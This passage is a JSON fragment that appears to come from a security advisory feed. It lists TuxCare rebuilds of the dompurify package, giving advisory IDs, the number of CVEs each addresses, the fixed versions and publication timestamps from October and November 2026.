2.4.3-tuxcare.12.","status":"published","published":"2026-10-25T12:05:55Z","modified":"2026-10-25T13:30:02.370965458Z","updated_at":"2026-11-02T15:43:54.981307Z"},{"id":"CLSA-2026-1792930059","title":"TuxCare security update for dompurify (2 CVEs)","description":"TuxCare rebuilt dompurify to address 2 CVEs. Fixed in 2.4.7-tuxcare.9.","status":"published","published":"2026-10-25T12:07:39Z","modified":"2026-11-07T19:13:15.61595045Z","updated_at":"2026-11-07T19:21:34.633914Z"},{"id":"CLSA-2026-1792930172","title":"TuxCare security update for dompurify (2 CVEs)","description":"TuxCare rebuilt dompurify to address 2 CVEs. Fixed in 2.5.9-tuxcare.12.","status":"published","published":"2026-10-25T12:09:32Z","modified":"2026-11-07T19:00:35.657845699Z","updated_at":"2026-11-07T19:21:34.633914Z"},{"id":"CLSA-2026-1792930279","title":"TuxCare security update for dompurify (2 CVEs)","description":"TuxCare rebuilt dompurify to address 2 CVEs. Fixed in 3.0.1-tuxcare.4.","status":"published","published":"2026-10-25T12:11:19Z","modified":"2026-10-27T01:58:02.981589332Z","updated_at":"2026-11-02T15:43:54.981307Z"},{"id":"CLSA-2026-1792930403","title":"TuxCare security update for dompurify (2 CVEs)","description":"TuxCare rebuilt dompurify to address 2 CVEs. Fixed in 3.0.2-tuxcare.4.","status":"published","published":"2026-10-25T12:13:23Z","modified":"2026-10-27T01:58:01.773737454Z","updated_at":"2026-11-02T15:43:54.981307Z"},{"id":"CLSA-2026-1792930526","title":"TuxCare security update for dompurify (1 CVE)","description":"TuxCare rebuilt dompurify to address 1 CVE. Fixed in 3.0.3-tuxcare.8.","status":"published","published":"2026-10-25T12:15:26Z","modified":"2026-10-25T13:30:04.515353827Z","updated_at":"2026-11-02T15:43:54.981307Z"},{"id":"CLSA-2026-1792930630","title":"TuxCare security update for dompurify (1 CVE)","description":"TuxCare rebuilt dompurify to address 1 CVE. Fixed in 3.0.4-tuxcare.3.","status":"published","published":"2026-10-25T12:17:10Z","modified":"2026-10-25T13:30:02.347978713Z","updated_at":"2026-11-02T15:43:54.981307Z"},{"id":"CLSA-2026-1792930723","title":"TuxCare security update for dompurify (1 CVE)","description":"TuxCare rebuilt dompurify to address 1 CVE. Fixed in 3.0.5-tuxcare.3.","status":"published","published":"2026-10-25T12:18:43Z","modified":"2026-10-25T13:30:04.218590752Z","updated_at":"2026-11-02T15:43:54.981307Z"},{"id":"CLSA-2026-1792930826","title":"TuxCare security update for dompurify (1 CVE)","description":"TuxCare rebuilt dompurify to address 1 CVE. Fixed in 3.0.8-tuxcare.4.","status":"published","published":"2026-10-25T12:20:26Z","modified":"2026-10-25T13:30:04.414465829Z","updated_at":"2026-11-02T15:43:54.981307Z"},{"id":"CLSA-2026-1792930930","title":"TuxCare security update for dompurify (2 CVEs)","description":"TuxCare rebuilt dompurify to address 2 CVEs. Fixed in 3.0.11-tuxcare.4.","status":"published","published":"2026-10-25T12:22:10Z","modified":"2026-11-07T19:13:18.024814824Z","updated_at":"2026-11-07T19:21:34.633914Z"},{"id":"CLSA-2026-1792931034","title":"TuxCare security update for dompurify (1 CVE)","description":"TuxCare rebuilt dompurify to address 1 CVE. Fixed in 3.1.0-tuxcare.4.","status":"published","published":"2026-10-25T12:23:54Z","modified":"2026-10-25T13:30:04.323691557Z","updated_at":"2026-11-02T15:43:54.981307Z"},{"id":"CLSA-2026-1792931144","title":"TuxCare security update for dompurify (1 CVE)","description":"TuxCare rebuilt dompurify to address 1 CVE. Fixed in 3.1.1-tuxcare.4.","status":"published","published":"2026-10-25T12:25:44Z","modified":"2026-10-25T13:30:03.327119741Z","updated_at":"2026-11-02T15:43:54.981307Z"},{"id":"CLSA-2026-1792931242","title":"TuxCare security update for dompurify (1 CVE)","description":"TuxCare rebuilt dompurify to address 1 CVE. Fixed in 3.1.2-tuxcare.4.","status":"published","published":"2026-10-25T12:27:22Z","modified":"2026-10-25T13:30:03.314044911Z","updated_at":"2026-11-02T15:43:54.981307Z"},{"id":"CLSA-2026-1792931347","title":"TuxCare security update for dompurify (1 CVE)","description":"TuxCare rebuilt dompurify to address 1 CVE. Fixed in 3.1.3-tuxcare.4.","status":"published","published":"2026-10-25T12:29:07Z","modified":"2026-10-25T13:30:03.311459202Z","updated_at":"2026-11-02T15:43:54.981307Z"},{"id":"CLSA-2026-1792931454","title":"TuxCare security update for dompurify (1 CVE)","description":"TuxCare rebuilt dompurify to address 1 CVE. Fixed in 3.1.4-tuxcare.4.","status":"published","published":"2026-10-25T12:30:54Z","modified":"2026-10-25T13:30:05.124545261Z","updated_at":"2026-11-02T15:43:54.981307Z"},{"id":"CLSA-2026-1792931555","title":"TuxCare security update for dompurify (2 CVEs)","description":"TuxCare rebuilt dompurify to address 2 CVEs. Fixed in 3.1.6-tuxcare.10.","status":"published","published":"2026-10-25T12:32:35Z","modified":"2026-11-07T19:00:37.684052206Z","updated_at":"2026-11-07T19:21:34.633914Z"},{"id":"CLSA-2026-1792931687","title":"TuxCare security update for dompurify (1 CVE)","description":"TuxCare rebuilt dompurify to address 1 CVE. Fixed in 3.2.3-tuxcare.6.","status":"published","published":"2026-10-25T12:34:47Z","modified":"2026-10-25T19:15:02.09183691Z","updated_at":"2026-11-02T15:43:54.981307Z"},{"id":"CLSA-2026-1792931792","title":"TuxCare security update for dompurify (1 CVE)","description":"TuxCare rebuilt dompurify to address 1 CVE. Fixed in 3.2.6-tuxcare.4.","status":"published","published":"2026-10-25T12:36:32Z","modified":"2026-10-25T19:15:03.066527394Z","updated_at":"2026-11-02T15:43:54.981307Z"},{"id":"CLSA-2026-1792931903","title":"TuxCare security update for dompurify (2 CVEs)","description":"TuxCare rebuilt dompurify to address 2 CVEs. Fixed in 3.3.3-tuxcare.4.","status":"published","published":"2026-10-25T12:38:23Z","modified":"2026-11-07T19:13:14.665650934Z","updated_at":"2026-11-07T19:21:34.633914Z"},{"id":"CLSA-2026-1792932016","title":"TuxCare security update for dompurify (1 CVE)","description":"TuxCare rebuilt dompurify to address 1 CVE. Fixed in 3.4.5-tuxcare.4.","status":"published","published":"2026-10-25T12:40:16Z","modified":"2026-10-25T19:15:03.054998694Z","updated_at":"2026-11-02T15:43:54.981307Z"},{"id":"CLSA-2026-1792932134","title":"TuxCare security update for dompurify (1 CVE)","description":"TuxCare rebuilt dompurify to address 1 CVE. Fixed in 3.4.6-tuxcare.4.","status":"published","published":"2026-10-25T12:42:14Z","modified":"2026-10-25T19:15:02.087802623Z","updated_at":"2026-11-02T15:43:54.981307Z"},{"id":"CLSA-2026-1792932246","title":"TuxCare security update for dompurify (1 CVE)","description":"TuxCare rebuilt dompurify to address 1 CVE. Fixed in 3.4.7-tuxcare.4.","status":"published","published":"2026-10-25T12:44:06Z","modified":"2026-10-25T19:15:04.059044545Z","updated_at":"2026-11-02T15:43:54.981307Z"},{"id":"CLSA-2026-1792932377","title":"TuxCare security update for dompurify (1 CVE)","description":"TuxCare rebuilt dompurify to address 1 CVE. Fixed in 3.4.8-tuxcare.6.","status":"published","published":"2026-10-25T12:46:17Z","modified":"2026-10-25T19:15:02.085940404Z","updated_at":"2026-11-02T15:43:54.981307Z"},{"id":"CLSA-2026-1792932499","title":"TuxCare security update for dompurify (1 CVE)","description":"TuxCare rebuilt dompurify to address 1 CVE. Fixed in 3.4.9-tuxcare.4.","status":"published","published":"2026-10-25T12:48:19Z","modified":"2026-10-25T19:15:03.068560056Z","updated_at":"2026-11-02T15:43:54.981307Z"},{"id":"CLSA-2026-1792932612","title":"TuxCare security update for dompurify (1 CVE)","description":"TuxCare rebuilt dompurify to address 1 CVE. Fixed in 3.4.10-tuxcare.4.","status":"published","published":"2026-10-25T12:50:12Z","modified":"2026-10-25T19:15:02.088353837Z","updated_at":"2026-11-02T15:43:54.981307Z"},{"id":"CLSA-2026-1792932735","title":"TuxCare security update for dompurify (1 CVE)","description":"TuxCare rebuilt dompurify to address 1 CVE. Fixed in 3.4.11-tuxcare.4.","status":"published","published":"2026-10-25T12:52:15Z","modified":"2026-10-25T19:15:03.164172142Z","updated_at":"2026-11-02T15:43:54.981307Z"},{"id":"CLSA-2026-1792932854","title":"TuxCare security update for dompurify (1 CVE)","description":"TuxCare rebuilt dompurify to address 1 CVE. Fixed in 3.4.12-tuxcare.2.","status":"published","published":"2026-10-25T12:54:14Z","modified":"2026-10-25T19:15:04.005008585Z","updated_at":"2026-11-02T15:43:54.981307Z"},{"id":"CLSA-2026-1792932980","title":"TuxCare security update for dompurify (1 CVE)","description":"TuxCare rebuilt dompurify to address 1 CVE. Fixed in 3.4.13-tuxcare.2.","status":"published","published":"2026-10-25T12:56:20Z","modified":"2026-10-25T19:15:03.069260772Z","updated_at":"2026-11-02T15:43:54.981307Z"},{"id":"CLSA-2026-1792933104","title":"TuxCare security update for dompurify (1 CVE)","description":"TuxCare rebuilt dompurify to address 1 CVE. Fixed in 3.4.14-tuxcare.3.","status":"published","published":"2026-10-25T12:58:24Z","modified":"2026-10-25T19:15:03.061585838Z","updated_at":"2026-11-02T15:43:54.981307Z"},{"id":"CLSA-2026-1792933241","title":"TuxCare security update for dompurify (1 CVE)","description":"TuxCare rebuilt dompurify to address 1 CVE. Fixed in 3.4.15-tuxcare.2.","status":"published","published":"2026-10-25T13:00:41Z","modified":"2026-10-25T19:15:02.074644717Z","updated_at":"2026-11-02T15:43:54.981307Z"},{"id":"CLSA-2026-1792933812","title":"TuxCare security update for dompurify (2 CVEs)","description":"TuxCare rebuilt dompurify to address 2 CVEs. Fixed in 3.2.7-tuxcare.6.","status":"published","published":"2026-10-25T13:10:12Z","modified":"2026-10-28T01:58:07.032869096Z","updated_at":"2026-11-02T15:43:54.981307Z"},{"id":"CLSA-2026-1792933945","title":"TuxCare security update for dompurify (12 CVEs)","description":"TuxCare rebuilt dompurify to address 12 CVEs. Fixed in 3.4.0-tuxcare.1.","status":"published","published":"2026-10-25T13:12:25Z","modified":"2026-10-25T19:15:03.066551076Z","updated_at":"2026-11-02T15:43:54.981307Z"},{"id":"CLSA-2026-1793100794","title":"TuxCare security update for dompurify (3 CVEs)","description":"TuxCare rebuilt dompurify to address 3 CVEs. Fixed in 3.4.5-tuxcare.5.","status":"published","published":"2026-10-27T11:33:14Z","modified":"2026-10-27T13:30:09.760475844Z","updated_at":"2026-11-02T15:43:55.34846Z"},{"id":"CLSA-2026-1793100979","title":"TuxCare security update for dompurify (3 CVEs)","description":"TuxCare rebuilt dompurify to address 3 CVEs. Fixed in 3.4.8-tuxcare.7.","status":"published","published":"2026-10-27T11:36:19Z","modified":"2026-10-27T13:30:08.308226646Z","updated_at":"2026-11-02T15:43:55.34846Z"},{"id":"CLSA-2026-1793101206","title":"TuxCare security update for dompurify (3 CVEs)","description":"TuxCare rebuilt dompurify to address 3 CVEs. Fixed in 3.4.11-tuxcare.5.","status":"published","published":"2026-10-27T11:40:06Z","modified":"2026-10-27T13:30:09.756569656Z","updated_at":"2026-11-02T15:43:55.34846Z"},{"id":"CLSA-2026-1793101291","title":"TuxCare security update for dompurify (3 CVEs)","description":"TuxCare rebuilt dompurify to address 3 CVEs. Fixed in 3.4.6-tuxcare.5.","status":"published","published":"2026-10-27T11:41:31Z","modified":"2026-10-27T13:30:08.315711744Z","updated_at":"2026-11-02T15:43:55.34846Z"},{"id":"CLSA-2026-1793101437","title":"TuxCare security update for dompurify (3 CVEs)","description":"TuxCare rebuilt dompurify to address 3 CVEs. Fixed in 3.4.7-tuxcare.5.","status":"published","published":"2026-10-27T11:43:57Z","modified":"2026-10-27T13:30:08.310514508Z","updated_at":"2026-11-02T15:43:55.34846Z"},{"id":"CLSA-2026-1793101539","title":"TuxCare security update for dompurify (3 CVEs)","description":"TuxCare rebuilt dompurify to address 3 CVEs. Fixed in 3.4.14-tuxcare.4.","status":"published","published":"2026-10-27T11:45:39Z","modified":"2026-10-27T13:30:13.028155973Z","updated_at":"2026-11-02T15:43:55.34846Z"},{"id":"CLSA-2026-1793101597","title":"TuxCare security update for dompurify (3 CVEs)","description":"TuxCare rebuilt dompurify to address 3 CVEs. Fixed in 3.4.9-tuxcare.5.","status":"published","published":"2026-10-27T11:46:37Z","modified":"2026-10-27T13:30:17.548231676Z","updated_at":"2026-11-02T15:43:55.34846Z"},{"id":"CLSA-2026-1793101871","title":"TuxCare security update for dompurify (11 CVEs)","description":"TuxCare rebuilt dompurify to address 11 CVEs. Fixed in 3.0.5-tuxcare.4.","status":"published","published":"2026-10-27T11:51:11Z","modified":"2026-10-27T13:30:17.537780888Z","updated_at":"2026-11-02T15:43:55.34846Z"},{"id":"CLSA-2026-1793101938","title":"TuxCare security update for dompurify (3 CVEs)","description":"TuxCare rebuilt dompurify to address 3 CVEs. Fixed in 3.4.10-tuxcare.5.","status":"published","published":"2026-10-27T11:52:18Z","modified":"2026-10-27T13:30:17.544935458Z","updated_at":"2026-11-02T15:43:55.34846Z"}]},"sources_more":{"osv":6}}